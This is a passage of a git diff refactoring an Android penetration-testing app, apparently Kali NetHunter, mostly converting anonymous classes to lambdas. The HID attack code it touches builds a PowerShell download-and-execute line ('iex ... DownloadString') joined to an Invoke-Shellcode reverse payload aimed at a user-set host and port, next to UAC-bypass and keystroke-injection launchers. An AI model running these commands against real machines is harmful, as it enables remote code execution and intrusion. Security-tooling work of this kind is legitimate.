b/src/com/offsec/nethunter/DeAuthWhitelistActivity.java @@ -2,10 +2,6 @@ import android.os.Build; import android.os.Bundle; -import androidx.core.app.NavUtils; -import androidx.appcompat.app.ActionBar; -import androidx.appcompat.app.AppCompatActivity; -import android.view.MenuItem; import android.view.View; import android.widget.EditText; @@ -14,6 +10,9 @@ import java.util.Locale; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + public class DeAuthWhitelistActivity extends AppCompatActivity { private NhPaths nh; @@ -29,7 +28,7 @@ protected void onCreate(Bundle savedInstanceState) { getWindow().setStatusBarColor(getResources().getColor(R.color.darkTitle)); } - EditText whitelist = (EditText) findViewById(R.id.deauth_modify); + EditText whitelist = findViewById(R.id.deauth_modify); whitelist.setText(String.format(Locale.getDefault(),getString(R.string.loading_file), "/sdcard/nh_files/deauth/whitelist.txt")); exe.ReadFile_ASYNC("/sdcard/nh_files/deauth/whitelist.txt", whitelist); @@ -42,7 +41,7 @@ protected void onCreate(Bundle savedInstanceState) { public void updatewhitelist(View view) { - EditText source = (EditText) findViewById(R.id.deauth_modify); + EditText source = findViewById(R.id.deauth_modify); String newSource = source.getText().toString(); Boolean isSaved = exe.SaveFileContents(newSource, "/sdcard/nh_files/deauth/whitelist.txt"); if (isSaved) { diff --git a/src/com/offsec/nethunter/DuckHunterFragment.java b/src/com/offsec/nethunter/DuckHunterFragment.java index 6ee4584..f53ab7a 100644 --- a/src/com/offsec/nethunter/DuckHunterFragment.java +++ b/src/com/offsec/nethunter/DuckHunterFragment.java @@ -2,20 +2,12 @@ import android.app.Activity; import android.content.Context; -import android.content.DialogInterface; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.net.Uri; import android.os.Bundle; import android.os.Parcelable; -import androidx.fragment.app.Fragment; -import androidx.fragment.app.FragmentManager; -import androidx.fragment.app.FragmentStatePagerAdapter; -import androidx.fragment.app.FragmentTransaction; -import androidx.viewpager.widget.ViewPager; -import androidx.appcompat.app.ActionBar; -import androidx.appcompat.app.AlertDialog; import android.text.Editable; import android.text.TextWatcher; import android.text.method.LinkMovementMethod; @@ -44,6 +36,14 @@ import java.io.InputStreamReader; import java.io.OutputStreamWriter; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AlertDialog; +import androidx.fragment.app.Fragment; +import androidx.fragment.app.FragmentManager; +import androidx.fragment.app.FragmentStatePagerAdapter; +import androidx.fragment.app.FragmentTransaction; +import androidx.viewpager.widget.ViewPager; + public class DuckHunterFragment extends Fragment implements ActionBar.TabListener { private ViewPager mViewPager; @@ -77,7 +77,7 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle sa View rootView = inflater.inflate(R.layout.duck_hunter, container, false); DuckHunterFragment.TabsPagerAdapter tabsPagerAdapter = new TabsPagerAdapter(getActivity().getSupportFragmentManager()); - mViewPager = (ViewPager) rootView.findViewById(R.id.pagerDuckHunter); + mViewPager = rootView.findViewById(R.id.pagerDuckHunter); mViewPager.setAdapter(tabsPagerAdapter); mViewPager.addOnPageChangeListener(new ViewPager.SimpleOnPageChangeListener() { @@ -165,24 +165,17 @@ public boolean onOptionsItemSelected(final MenuItem item) { return true; } final View v = getView(); - new Thread(new Runnable() { - public void run() { - if (shouldConvert) { - convert(); - try { - Thread.sleep(2000); // Slow down - } catch (InterruptedException e) { - e.printStackTrace(); - } + new Thread(() -> { + if (shouldConvert) { + convert(); + try { + Thread.sleep(2000); // Slow down + } catch (InterruptedException e) { + e.printStackTrace(); } - start(); - v.post(new Runnable() { - @Override - public void run() { - nh.showMessage("Attack launched!"); - } - }); } + start(); + v.post(() -> nh.showMessage(getString(R.string.attack_launched))); }).start(); return true; @@ -238,64 +231,46 @@ private void openLanguageDialog() { AlertDialog.Builder builder = new AlertDialog.Builder(getActivity()); builder.setTitle("Language:"); - builder.setPositiveButton("OK", new DialogInterface.OnClickListener() { + builder.setPositiveButton("OK", (dialog, which) -> { + setLang(); + if (mViewPager.getCurrentItem() == 1) { + if (getView() == null) { + return; + } - @Override - public void onClick(DialogInterface dialog, int which) { - setLang(); - if (mViewPager.getCurrentItem() == 1) { - if (getView() == null) { - return; + final TextView source = getView().findViewById(R.id.source); + source.setText("Loading wait..."); + new Thread(() -> { + convert(); + String output = ""; + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + e.printStackTrace(); } - - final TextView source = (TextView) getView().findViewById(R.id.source); - source.setText("Loading wait..."); - new Thread(new Runnable() { - public void run() { - convert(); - String output = ""; - try { - Thread.sleep(2000); - } catch (InterruptedException e) { - e.printStackTrace(); - } - try { - Process p = Runtime.getRuntime().exec("su -c cat " + DuckHunterPreviewFragment.configFilePath + DuckHunterPreviewFragment.configFileFilename); - p.waitFor(); - BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); - String line; - while ((line = reader.readLine()) != null) { - output = output + line + "\n"; - } - } catch (Exception e) { - e.printStackTrace(); - } - final String finalOutput = output; - source.post(new Runnable() { - @Override - public void run() { - source.setText(finalOutput); - } - }); - } - }).start(); - } else { - new Thread(new Runnable() { - public void run() { - convert(); + try { + Process p = Runtime.getRuntime().exec("su -c cat " + DuckHunterPreviewFragment.configFilePath + DuckHunterPreviewFragment.configFileFilename); + p.waitFor(); + BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line; + while ((line = reader.readLine()) != null) { + output = output + line + "\n"; } - }).start(); - } + } catch (Exception e) { + e.printStackTrace(); + } + final String finalOutput = output; + source.post(() -> source.setText(finalOutput)); + }).start(); + } else { + new Thread(() -> convert()).start(); } }); - builder.setSingleChoiceItems(languages, keyboardLayoutIndex, new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { - Editor editor = sharedpreferences.edit(); - editor.putInt("DuckHunterLanguageIndex", which); - editor.apply(); - } + builder.setSingleChoiceItems(languages, keyboardLayoutIndex, (dialog, which) -> { + Editor editor = sharedpreferences.edit(); + editor.putInt("DuckHunterLanguageIndex", which); + editor.apply(); }); builder.show(); } @@ -364,10 +339,10 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, View rootView = inflater.inflate(R.layout.duck_hunter_convert, container, false); - TextView t2 = (TextView) rootView.findViewById(R.id.reference_text); + TextView t2 = rootView.findViewById(R.id.reference_text); t2.setMovementMethod(LinkMovementMethod.getInstance()); - EditText source = (EditText) rootView.findViewById(R.id.editSource); + EditText source = rootView.findViewById(R.id.editSource); source.addTextChangedListener(new TextWatcher() { @@ -401,14 +376,14 @@ public void afterTextChanged(Editable s) { } source.setText(text); - Button b = (Button) rootView.findViewById(R.id.duckyLoad); - Button b1 = (Button) rootView.findViewById(R.id.duckySave); + Button b = rootView.findViewById(R.id.duckyLoad); + Button b1 = rootView.findViewById(R.id.duckySave); b.setOnClickListener(this); b1.setOnClickListener(this); // Duckhunter preset spinner templates - Spinner presetSpinner = (Spinner) rootView.findViewById(R.id.duckhunter_preset_spinner); + Spinner presetSpinner = rootView.findViewById(R.id.duckhunter_preset_spinner); ArrayAdapter presetAdapter = ArrayAdapter.createFromResource(getActivity(), R.array.duckhunter_preset_array, android.R.layout.simple_spinner_item); presetAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); @@ -453,7 +428,7 @@ private void getPreset(String filename) { } String filename_path = "/duckyscripts/"; filename = filename_path + filename; - EditText source = (EditText) getView().findViewById(R.id.editSource); + EditText source = getView().findViewById(R.id.editSource); File file = new File(nh.APP_SD_FILES_PATH, filename); StringBuilder text = new StringBuilder(); try { @@ -502,42 +477,38 @@ public void onClick(View v) { final EditText input = new EditText(getActivity()); alert.setView(input); - alert.setPositiveButton("Ok", new DialogInterface.OnClickListener() { - public void onClick(DialogInterface dialog, int whichButton) { - String value = input.getText().toString(); - if (value.length() > 0) { - //Save file (ask name) - File scriptFile = new File(nh.APP_SD_FILES_PATH + loadFilePath + File.separator + value + ".conf"); - System.out.println(scriptFile.getAbsolutePath()); - if (!scriptFile.exists()) { - try { - if (getView() != null) { - EditText source = (EditText) getView().findViewById(R.id.editSource); - String text = source.getText().toString(); - scriptFile.createNewFile(); - FileOutputStream fOut = new FileOutputStream(scriptFile); - OutputStreamWriter myOutWriter = new OutputStreamWriter(fOut); - myOutWriter.append(text); - myOutWriter.close(); - fOut.close(); - nh.showMessage("Script saved"); - } - } catch (Exception e) { - nh.showMessage(e.getMessage()); + alert.setPositiveButton("Ok", (dialog, whichButton) -> { + String value = input.getText().toString(); + if (value.length() > 0) { + //Save file (ask name) + File scriptFile = new File(nh.APP_SD_FILES_PATH + loadFilePath + File.separator + value + ".conf"); + System.out.println(scriptFile.getAbsolutePath()); + if (!scriptFile.exists()) { + try { + if (getView() != null) { + EditText source = getView().findViewById(R.id.editSource); + String text = source.getText().toString(); + scriptFile.createNewFile(); + FileOutputStream fOut = new FileOutputStream(scriptFile); + OutputStreamWriter myOutWriter = new OutputStreamWriter(fOut); + myOutWriter.append(text); + myOutWriter.close(); + fOut.close(); + nh.showMessage("Script saved"); } - } else { - nh.showMessage("File already exists"); + } catch (Exception e) { + nh.showMessage(e.getMessage()); } } else { - nh.showMessage("Wrong name provided"); + nh.showMessage("File already exists"); } + } else { + nh.showMessage("Wrong name provided"); } }); - alert.setNegativeButton("Cancel", new DialogInterface.OnClickListener() { - public void onClick(DialogInterface dialog, int whichButton) { - ///Do nothing - } + alert.setNegativeButton("Cancel", (dialog, whichButton) -> { + ///Do nothing }); alert.show(); break; @@ -556,7 +527,7 @@ public void onActivityResult(int requestCode, int resultCode, Intent data) { return; } String FilePath = data.getData().getPath(); - EditText source = (EditText) getView().findViewById(R.id.editSource); + EditText source = getView().findViewById(R.id.editSource); try { String text = ""; BufferedReader br = new BufferedReader(new FileReader(FilePath)); @@ -608,39 +579,34 @@ public void readFileForPreview() { return; } - final TextView source = (TextView) getView().findViewById(R.id.source); + final TextView source = getView().findViewById(R.id.source); source.setText(R.string.loading_wait); - new Thread(new Runnable() { - public void run() { - String output = ""; - if (shouldConvert) { - convert(); - try { - Thread.sleep(2000); - } catch (InterruptedException e) { - e.printStackTrace(); - } - } + new Thread(() -> { + String output = ""; + if (shouldConvert) { + convert(); try { - Process p = Runtime.getRuntime().exec("su -c cat " + configFilePath + configFileFilename); - p.waitFor(); - BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); - String line; - while ((line = reader.readLine()) != null) { - output = output + line + "\n"; - } - } catch (Exception e) { + Thread.sleep(2000); + } catch (InterruptedException e) { e.printStackTrace(); } - final String finalOutput = output; - source.post(new Runnable() { - @Override - public void run() { - source.setText(finalOutput); - shouldConvert = false; - } - }); } + try { + Process p = Runtime.getRuntime().exec("su -c cat " + configFilePath + configFileFilename); + p.waitFor(); + BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line; + while ((line = reader.readLine()) != null) { + output = output + line + "\n"; + } + } catch (Exception e) { + e.printStackTrace(); + } + final String finalOutput = output; + source.post(() -> { + source.setText(finalOutput); + shouldConvert = false; + }); }).start(); } diff --git a/src/com/offsec/nethunter/EditSourceActivity.java b/src/com/offsec/nethunter/EditSourceActivity.java index 48eb088..773655a 100644 --- a/src/com/offsec/nethunter/EditSourceActivity.java +++ b/src/com/offsec/nethunter/EditSourceActivity.java @@ -2,9 +2,6 @@ import android.os.Build; import android.os.Bundle; -import androidx.core.app.NavUtils; -import androidx.appcompat.app.ActionBar; -import androidx.appcompat.app.AppCompatActivity; import android.view.MenuItem; import android.view.View; import android.widget.EditText; @@ -14,6 +11,10 @@ import java.util.Locale; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.NavUtils; + public class EditSourceActivity extends AppCompatActivity { private String configFilePath = ""; @@ -32,7 +33,7 @@ protected void onCreate(Bundle savedInstanceState) { getWindow().setStatusBarColor(getResources().getColor(R.color.darkTitle)); } - EditText source = (EditText) findViewById(R.id.source); + EditText source = findViewById(R.id.source); source.setText(String.format(Locale.getDefault(),getString(R.string.loading_file), configFilePath)); exe.ReadFile_ASYNC(configFilePath, source); @@ -67,7 +68,7 @@ public void updateSource() { */ public void updateSource(View view) { - EditText source = (EditText) findViewById(R.id.source); + EditText source = findViewById(R.id.source); String newSource = source.getText().toString(); Boolean isSaved = exe.SaveFileContents(newSource, configFilePath); if (isSaved) { diff --git a/src/com/offsec/nethunter/HidFragment.java b/src/com/offsec/nethunter/HidFragment.java index a80c489..dee6018 100644 --- a/src/com/offsec/nethunter/HidFragment.java +++ b/src/com/offsec/nethunter/HidFragment.java @@ -2,18 +2,12 @@ import android.app.Activity; import android.content.Context; -import android.content.DialogInterface; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.net.Uri; import android.os.Bundle; import android.os.Parcelable; -import androidx.fragment.app.Fragment; -import androidx.fragment.app.FragmentManager; -import androidx.fragment.app.FragmentPagerAdapter; -import androidx.viewpager.widget.ViewPager; -import androidx.appcompat.app.AlertDialog; import android.view.LayoutInflater; import android.view.Menu; import android.view.MenuInflater; @@ -35,6 +29,12 @@ import java.util.regex.Matcher; import java.util.regex.Pattern; +import androidx.appcompat.app.AlertDialog; +import androidx.fragment.app.Fragment; +import androidx.fragment.app.FragmentManager; +import androidx.fragment.app.FragmentPagerAdapter; +import androidx.viewpager.widget.ViewPager; + public class HidFragment extends Fragment { private ViewPager mViewPager; @@ -60,7 +60,7 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle sa View rootView = inflater.inflate(R.layout.hid, container, false); HidFragment.TabsPagerAdapter tabsPagerAdapter = new TabsPagerAdapter(getActivity().getSupportFragmentManager()); - mViewPager = (ViewPager) rootView.findViewById(R.id.pagerHid); + mViewPager = rootView.findViewById(R.id.pagerHid); mViewPager.setAdapter(tabsPagerAdapter); nh = new NhPaths(); @@ -207,21 +207,12 @@ private void start() { break; } } - nh.showMessage("Attack launched..."); - new Thread(new Runnable() { - public void run() { - ShellExecuter exe = new ShellExecuter(); - exe.RunAsRoot(command); - //Logger.appendLog(outp1); - mViewPager.post(new Runnable() { - @Override - public void run() { - - nh.showMessage("Attack execution ended."); - } - }); - } - + nh.showMessage(getString(R.string.attack_launched)); + new Thread(() -> { + ShellExecuter exe = new ShellExecuter(); + exe.RunAsRoot(command); + //Logger.appendLog(outp1); + mViewPager.post(() -> nh.showMessage("Attack execution ended.")); }).start(); } @@ -238,21 +229,13 @@ private void openDialog() { int UACBypassIndex = sharedpreferences.getInt("UACBypassIndex", 0); AlertDialog.Builder builder = new AlertDialog.Builder(getActivity()); builder.setTitle("UAC Bypass:"); - builder.setPositiveButton("OK", new DialogInterface.OnClickListener() { - - @Override - public void onClick(DialogInterface dialog, int which) { - } + builder.setPositiveButton("OK", (dialog, which) -> { }); - builder.setSingleChoiceItems(platforms, UACBypassIndex, new DialogInterface.OnClickListener() { - - @Override - public void onClick(DialogInterface dialog, int which) { - Editor editor = sharedpreferences.edit(); - editor.putInt("UACBypassIndex", which); - editor.apply(); - } + builder.setSingleChoiceItems(platforms, UACBypassIndex, (dialog, which) -> { + Editor editor = sharedpreferences.edit(); + editor.putInt("UACBypassIndex", which); + editor.apply(); }); builder.show(); } @@ -263,22 +246,14 @@ private void openLanguageDialog() { AlertDialog.Builder builder = new AlertDialog.Builder(getActivity()); builder.setTitle("Keyboard Layout:"); - builder.setPositiveButton("OK", new DialogInterface.OnClickListener() { - - @Override - public void onClick(DialogInterface dialog, int which) { + builder.setPositiveButton("OK", (dialog, which) -> { - } }); - builder.setSingleChoiceItems(languages, keyboardLayoutIndex, new DialogInterface.OnClickListener() { - - @Override - public void onClick(DialogInterface dialog, int which) { - Editor editor = sharedpreferences.edit(); - editor.putInt("HIDKeyboardLayoutIndex", which); - editor.apply(); - } + builder.setSingleChoiceItems(languages, keyboardLayoutIndex, (dialog, which) -> { + Editor editor = sharedpreferences.edit(); + editor.putInt("HIDKeyboardLayoutIndex", which); + editor.apply(); }); builder.show(); } @@ -333,7 +308,7 @@ public static class PowerSploitFragment extends HidFragment implements OnClickLi public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View rootView = inflater.inflate(R.layout.hid_powersploit, container, false); - Button b = (Button) rootView.findViewById(R.id.powersploitOptionsUpdate); + Button b = rootView.findViewById(R.id.powersploitOptionsUpdate); b.setOnClickListener(this); loadOptions(rootView); return rootView; @@ -346,13 +321,13 @@ public void onClick(View v) { return; } ShellExecuter exe = new ShellExecuter(); - EditText ip = (EditText) getView().findViewById(R.id.ipaddress); - EditText port = (EditText) getView().findViewById(R.id.port); + EditText ip = getView().findViewById(R.id.ipaddress); + EditText port = getView().findViewById(R.id.port); - Spinner payload = (Spinner) getView().findViewById(R.id.payload); + Spinner payload = getView().findViewById(R.id.payload); String payloadValue = payload.getSelectedItem().toString(); - EditText newPayloadUrl = (EditText) getView().getRootView().findViewById(R.id.payloadUrl); + EditText newPayloadUrl = getView().getRootView().findViewById(R.id.payloadUrl); String newString = "Invoke-Shellcode -Payload " + payloadValue + " -Lhost " + ip.getText() + " -Lport " + port.getText() + " -Force"; String newText = "iex (New-Object Net.WebClient).DownloadString(\"" + newPayloadUrl.getText() + "\"); " + newString; @@ -368,64 +343,59 @@ public void onClick(View v) { } private void loadOptions(final View rootView) { - final EditText payloadUrl = (EditText) rootView.findViewById(R.id.payloadUrl); - final EditText port = (EditText) rootView.findViewById(R.id.port); - final Spinner payload = (Spinner) rootView.findViewById(R.id.payload); + final EditText payloadUrl = rootView.findViewById(R.id.payloadUrl); + final EditText port = rootView.findViewById(R.id.port); + final Spinner payload = rootView.findViewById(R.id.payload); final ShellExecuter exe = new ShellExecuter(); - new Thread(new Runnable() { - public void run() { - final String textUrl = exe.ReadFile_SYNC(configFileUrlPath); - final String text = exe.ReadFile_SYNC(configFilePath); - String regExPatPayloadUrl = "DownloadString\\(\"(.*)\"\\)"; - Pattern patternPayloadUrl = Pattern.compile(regExPatPayloadUrl, Pattern.MULTILINE); - final Matcher matcherPayloadUrl = patternPayloadUrl.matcher(textUrl); + new Thread(() -> { + final String textUrl = exe.ReadFile_SYNC(configFileUrlPath); + final String text = exe.ReadFile_SYNC(configFilePath); + String regExPatPayloadUrl = "DownloadString\\(\"(.*)\"\\)"; + Pattern patternPayloadUrl = Pattern.compile(regExPatPayloadUrl, Pattern.MULTILINE); + final Matcher matcherPayloadUrl = patternPayloadUrl.matcher(textUrl); - String[] lines = text.split("\n"); - final String line = lines[lines.length - 1]; + String[] lines = text.split("\n"); + final String line = lines[lines.length - 1]; - String regExPatIp = "-Lhost\\ (.*)\\ -Lport"; - Pattern patternIp = Pattern.compile(regExPatIp, Pattern.MULTILINE); - final Matcher matcherIp = patternIp.matcher(line); + String regExPatIp = "-Lhost\\ (.*)\\ -Lport"; + Pattern patternIp = Pattern.compile(regExPatIp, Pattern.MULTILINE); + final Matcher matcherIp = patternIp.matcher(line); - String regExPatPort = "-Lport\\ (.*)\\ -Force"; - Pattern patternPort = Pattern.compile(regExPatPort, Pattern.MULTILINE); - final Matcher matcherPort = patternPort.matcher(line); + String regExPatPort = "-Lport\\ (.*)\\ -Force"; + Pattern patternPort = Pattern.compile(regExPatPort, Pattern.MULTILINE); + final Matcher matcherPort = patternPort.matcher(line); - String regExPatPayload = "-Payload\\ (.*)\\ -Lhost"; - Pattern patternPayload = Pattern.compile(regExPatPayload, Pattern.MULTILINE); - final Matcher matcherPayload = patternPayload.matcher(line); + String regExPatPayload = "-Payload\\ (.*)\\ -Lhost"; + Pattern patternPayload = Pattern.compile(regExPatPayload, Pattern.MULTILINE); + final Matcher matcherPayload = patternPayload.matcher(line); - payloadUrl.post(new Runnable() { - @Override - public void run() { + payloadUrl.post(() -> { - if (matcherPayloadUrl.find()) { - String payloadUrlValue = matcherPayloadUrl.group(1); - payloadUrl.setText(payloadUrlValue); - } + if (matcherPayloadUrl.find()) { + String payloadUrlValue = matcherPayloadUrl.group(1); + payloadUrl.setText(payloadUrlValue); + } - if (matcherIp.find()) { - String ipValue = matcherIp.group(1); - EditText ip = (EditText) rootView.findViewById(R.id.ipaddress); - ip.setText(ipValue); - } + if (matcherIp.find()) { + String ipValue = matcherIp.group(1); + EditText ip = rootView.findViewById(R.id.ipaddress); + ip.setText(ipValue); + } - if (matcherPort.find()) { - String portValue = matcherPort.group(1); - port.setText(portValue); - } + if (matcherPort.find()) { + String portValue = matcherPort.group(1); + port.setText(portValue); + } - if (matcherPayload.find()) { - String payloadValue = matcherPayload.group(1); - ArrayAdapter myAdap = (ArrayAdapter) payload.getAdapter(); - int spinnerPosition; - spinnerPosition = myAdap.getPosition(payloadValue); - payload.setSelection(spinnerPosition); - } - } - }); - } + if (matcherPayload.find()) { + String payloadValue = matcherPayload.group(1); + ArrayAdapter myAdap = (ArrayAdapter) payload.getAdapter(); + int spinnerPosition; + spinnerPosition = myAdap.getPosition(payloadValue); + payload.setSelection(spinnerPosition); + } + }); }).start(); } } @@ -441,11 +411,11 @@ public static class WindowsCmdFragment extends HidFragment implements OnClickLis public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View rootView = inflater.inflate(R.layout.hid_windows_cmd, container, false); - EditText source = (EditText) rootView.findViewById(R.id.windowsCmdSource); + EditText source = rootView.findViewById(R.id.windowsCmdSource); exe.ReadFile_ASYNC(configFilePath, source); - Button b = (Button) rootView.findViewById(R.id.windowsCmdUpdate); - Button b1 = (Button) rootView.findViewById(R.id.windowsCmdLoad); - Button b2 = (Button) rootView.findViewById(R.id.windowsCmdSave); + Button b = rootView.findViewById(R.id.windowsCmdUpdate); + Button b1 = rootView.findViewById(R.id.windowsCmdLoad); + Button b2 = rootView.findViewById(R.id.windowsCmdSave); b.setOnClickListener(this); b1.setOnClickListener(this); b2.setOnClickListener(this); @@ -461,7 +431,7 @@ public void onClick(View v) { if (getView() == null) { return; } - EditText source = (EditText) getView().findViewById(R.id.windowsCmdSource); + EditText source = getView().findViewById(R.id.windowsCmdSource); String text = source.getText().toString(); Boolean isSaved = exe.SaveFileContents(text, configFilePath); if (isSaved) { @@ -497,41 +467,37 @@ public void onClick(View v) { final EditText input = new EditText(getActivity()); alert.setView(input); - alert.setPositiveButton("Ok", new DialogInterface.OnClickListener() { - public void onClick(DialogInterface dialog, int whichButton) { - String value = input.getText().toString(); - if (!value.equals("") && value.length() > 0) { - //FIXME Save file (ask name) - File scriptFile = new File(loadFilePath + File.separator + value + ".conf"); - if (!scriptFile.exists()) { - try { - if (getView() == null) { - return; - } - EditText source = (EditText) getView().findViewById(R.id.windowsCmdSource); - String text = source.getText().toString(); - scriptFile.createNewFile(); - FileOutputStream fOut = new FileOutputStream(scriptFile); - OutputStreamWriter myOutWriter = new OutputStreamWriter(fOut); - myOutWriter.append(text); - myOutWriter.close(); - fOut.close(); - nh.showMessage("Script saved"); - } catch (Exception e) { - nh.showMessage(e.getMessage()); + alert.setPositiveButton("Ok", (dialog, whichButton) -> { + String value = input.getText().toString(); + if (!value.equals("") && value.length() > 0) { + //FIXME Save file (ask name) + File scriptFile = new File(loadFilePath + File.separator + value + ".conf"); + if (!scriptFile.exists()) { + try { + if (getView() == null) { + return; } - } else { - nh.showMessage("File already exists"); + EditText source1 = getView().findViewById(R.id.windowsCmdSource); + String text1 = source1.getText().toString(); + scriptFile.createNewFile(); + FileOutputStream fOut = new FileOutputStream(scriptFile); + OutputStreamWriter myOutWriter = new OutputStreamWriter(fOut); + myOutWriter.append(text1); + myOutWriter.close(); + fOut.close(); + nh.showMessage("Script saved"); + } catch (Exception e) { + nh.showMessage(e.getMessage()); } } else { - nh.showMessage("Wrong name provided"); + nh.showMessage("File already exists"); } + } else { + nh.showMessage("Wrong name provided"); } }); - alert.setNegativeButton("Cancel", new DialogInterface.OnClickListener() { - public void onClick(DialogInterface dialog, int whichButton) { - ///Do nothing - } + alert.setNegativeButton("Cancel", (dialog, whichButton) -> { + ///Do nothing }); alert.show(); break; @@ -547,7 +513,7 @@ public void onActivityResult(int requestCode, int resultCode, Intent data) { case PICKFILE_RESULT_CODE: if (resultCode == Activity.RESULT_OK && getView() != null) { String FilePath = data.getData().getPath(); - EditText source = (EditText) getView().findViewById(R.id.windowsCmdSource); + EditText source = getView().findViewById(R.id.windowsCmdSource); exe.ReadFile_ASYNC(FilePath, source); nh.showMessage("Script loaded"); } @@ -565,7 +531,7 @@ public static class PowershellHttpFragment extends HidFragment implements OnClic public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View rootView = inflater.inflate(R.layout.hid_powershell_http, container, false); - Button b = (Button) rootView.findViewById(R.id.powershellOptionsUpdate); + Button b = rootView.findViewById(R.id.powershellOptionsUpdate); b.setOnClickListener(this); loadOptions(rootView); return rootView; @@ -578,7 +544,7 @@ public void onClick(View v) { return; } ShellExecuter exe = new ShellExecuter(); - EditText newPayloadUrl = (EditText) getView().getRootView().findViewById(R.id.payloadUrl); + EditText newPayloadUrl = getView().getRootView().findViewById(R.id.payloadUrl); String newText = "iex (New-Object Net.WebClient).DownloadString(\"" + newPayloadUrl.getText() + "\"); "; Boolean isSaved = exe.SaveFileContents(newText, configFileUrlPath); @@ -593,32 +559,27 @@ public void onClick(View v) { } private void loadOptions(final View rootView) { - final EditText payloadUrl = (EditText) rootView.findViewById(R.id.payloadUrl); + final EditText payloadUrl = rootView.findViewById(R.id.payloadUrl); final ShellExecuter exe = new ShellExecuter(); - new Thread(new Runnable() { - public void run() { - final String textUrl = exe.ReadFile_SYNC(configFileUrlPath); - final String text = exe.ReadFile_SYNC(configFilePath); - String regExPatPayloadUrl = "DownloadString\\(\"(.*)\"\\)"; - Pattern patternPayloadUrl = Pattern.compile(regExPatPayloadUrl, Pattern.MULTILINE); - final Matcher matcherPayloadUrl = patternPayloadUrl.matcher(textUrl); + new Thread(() -> { + final String textUrl = exe.ReadFile_SYNC(configFileUrlPath); + final String text = exe.ReadFile_SYNC(configFilePath); + String regExPatPayloadUrl = "DownloadString\\(\"(.*)\"\\)"; + Pattern patternPayloadUrl = Pattern.compile(regExPatPayloadUrl, Pattern.MULTILINE); + final Matcher matcherPayloadUrl = patternPayloadUrl.matcher(textUrl); - String[] lines = text.split("\n"); - final String line = lines[lines.length - 1]; + String[] lines = text.split("\n"); + final String line = lines[lines.length - 1]; - payloadUrl.post(new Runnable() { - @Override - public void run() { + payloadUrl.post(() -> { - if (matcherPayloadUrl.find()) { - String payloadUrlValue = matcherPayloadUrl.group(1); - payloadUrl.setText(payloadUrlValue); - } + if (matcherPayloadUrl.find()) { + String payloadUrlValue = matcherPayloadUrl.group(1); + payloadUrl.setText(payloadUrlValue); + } - } - }); - } + }); }).start(); } } diff --git a/src/com/offsec/nethunter/KaliGpsServiceFragment.java b/src/com/offsec/nethunter/KaliGpsServiceFragment.java index eac5053..73dec53 100644 --- a/src/com/offsec/nethunter/KaliGpsServiceFragment.java +++ b/src/com/offsec/nethunter/KaliGpsServiceFragment.java @@ -3,8 +3,6 @@ import android.content.Context; import android.content.Intent; import android.os.Bundle; -import androidx.annotation.Nullable; -import androidx.fragment.app.Fragment; import android.util.Log; import android.view.LayoutInflater; import android.view.View; @@ -16,6 +14,9 @@ import com.offsec.nethunter.utils.NhPaths; import com.offsec.nethunter.utils.ShellExecuter; +import androidx.annotation.Nullable; +import androidx.fragment.app.Fragment; + public class KaliGpsServiceFragment extends Fragment implements KaliGPSUpdates.Receiver { @@ -45,30 +46,24 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle sa nh = new NhPaths(); - addClickListener(R.id.start_kismet, new View.OnClickListener() { - public void onClick(View v) { + addClickListener(R.id.start_kismet, v -> { - if (gpsProvider != null) { - gpsProvider.onLocationUpdatesRequested(KaliGpsServiceFragment.this); - gpsTextView.append("Starting gps updates \n"); - } + if (gpsProvider != null) { + gpsProvider.onLocationUpdatesRequested(KaliGpsServiceFragment.this); + gpsTextView.append("Starting gps updates \n"); } }, rootView); - addClickListener(R.id.gps_stop, new View.OnClickListener() { - public void onClick(View v) { - if (gpsProvider != null) { - gpsProvider.onStopRequested(); - gpsTextView.append("Stopping gps updates \n"); - new Thread(new Runnable() { - public void run() { - ShellExecuter exe = new ShellExecuter(); - String command = "su -c '" + nh.APP_SCRIPTS_PATH + "/stop-gpsd'"; - Log.d(TAG, command); - exe.RunAsRootOutput(command); - } - }).start(); - } + addClickListener(R.id.gps_stop, v -> { + if (gpsProvider != null) { + gpsProvider.onStopRequested(); + gpsTextView.append("Stopping gps updates \n"); + new Thread(() -> { + ShellExecuter exe = new ShellExecuter(); + String command = "su -c '" + nh.APP_SCRIPTS_PATH + "/stop-gpsd'"; + Log.d(TAG, command); + exe.RunAsRootOutput(command); + }).start(); } }, rootView); @@ -78,7 +73,7 @@ public void run() { @Override public void onViewCreated(View view, @Nullable Bundle savedInstanceState) { super.onViewCreated(view, savedInstanceState); - gpsTextView = (TextView) view.findViewById(R.id.gps_textview); + gpsTextView = view.findViewById(R.id.gps_textview); } private void addClickListener(int buttonId, View.OnClickListener onClickListener, View rootView) { diff --git a/src/com/offsec/nethunter/KaliServicesFragment.java b/src/com/offsec/nethunter/KaliServicesFragment.java index 020f8c7..1b0d631 100644 --- a/src/com/offsec/nethunter/KaliServicesFragment.java +++ b/src/com/offsec/nethunter/KaliServicesFragment.java @@ -3,7 +3,6 @@ import android.content.Context; import android.content.SharedPreferences; import android.os.Bundle; -import androidx.fragment.app.Fragment; import android.util.Log; import android.view.LayoutInflater; import android.view.Menu; @@ -13,7 +12,6 @@ import android.view.ViewGroup; import android.widget.BaseAdapter; import android.widget.CheckBox; -import android.widget.CompoundButton; import android.widget.ListView; import android.widget.Switch; import android.widget.TextView; @@ -23,6 +21,8 @@ import java.io.File; +import 